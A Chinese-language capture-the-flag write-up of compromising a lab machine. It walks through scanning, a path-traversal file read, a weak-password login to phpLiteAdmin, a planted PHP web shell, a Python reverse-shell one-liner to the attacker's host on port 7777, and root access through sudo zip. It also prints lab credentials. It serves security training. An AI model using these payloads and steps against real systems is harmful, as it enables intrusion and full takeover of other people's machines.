一、信息收集
1.扫描主机
sudo arp-scan -l
得到靶机IP:192.168.127.146
2.扫描端口
nmap -p- 192.168.127.146 --min-rate=5000
3.进行脚本扫描,TCP扫描,扫描服务版本
nmap -p22,80,111,58027 -sC -sT -sV 192.168.127.146
二、漏洞探测
1.查看开放端口80
2.查看网站
点击后退页面
发现url栏可能存在文件包含
../../../../../../../etc/passwd
成功读取到/etc/passwd文件
3.扫描网站目录
dirb http://192.168.127.146
扫描到数据库管理员的目录,访问查看
4.登录数据库管理员目录
查看test_db.php
尝试弱口令密码:admin登录
登录成功
5.查询数据库内容
md5解密
root--34kroot34
zico--zico2215@
尝试远程连接
ssh [email protected]
ssh [email protected]
远程登录失败
6.在kali查询phpLiteAdmin有没有可利用的漏洞
searchsploit phpliteadmin
结果显示1.9.3版本存在远程php代码注入漏洞
searchsploit -m 24044
cat 24044.txt
可创建.php文件
在刚才的phpLiteAdmin管理页面创建一个hack.php数据库,再在该数据库下创建一个名称为test的表,字段为1
字段名称为code,默认值为<?php echo system($_GET["cmd"]);?>,插入一行内容
访问创建的文件
http://192.168.127.146/view.php?page=../../usr/databases/hack.php
三、反弹shell
1.使用python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.127.128",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
url编码
python%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.127.128%22%2C7777))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B'
复制url作为cmd值
2.kali监听
nc -lvvp 7777
监听成功
四、提权
1.通过python进入tty
TTY(teletypewriters)电传打字机,在 Linux 中,有一个伪电传多路复用器,它处理来自所有终端窗口伪电传打字机 (PTS) 的连接。 多路复用器是主机,PTS 是从机。 多路复用器由内核通过位于 /dev/ptmx 的设备文件寻址。tty 命令将打印伪电传从属设备用于连接到主设备的设备文件的名称。 实际上,这就是终端窗口的编号。
python -c 'import pty;pty.spawn("/bin/bash")'
2.查看配置文件
在zico的家目录中找到wordpress,这是一个免费开源的建站程序,进入该目录,查看wp-config.php
ls
cd /home
ls
cd zico
ls
cd wordpress
ls
cat wp-config.php
得到用户zico的密码
sWfCsfJSPV9H3AmQzw8
切换到zico用户
3.查看zico用户属组
sudo -l
用户zico在tar和zip的用户组里,可以尝试zip提权
4.在/tmp目录下创建文件
touch /tmp/tiquan
通过zip运行Linux指令,获取root权限
sudo -u root zip /tmp/tiquan.zip /tmp/tiquan -T --unzip-command="sh -c /bin/bash"
在/root目录下成功拿到flag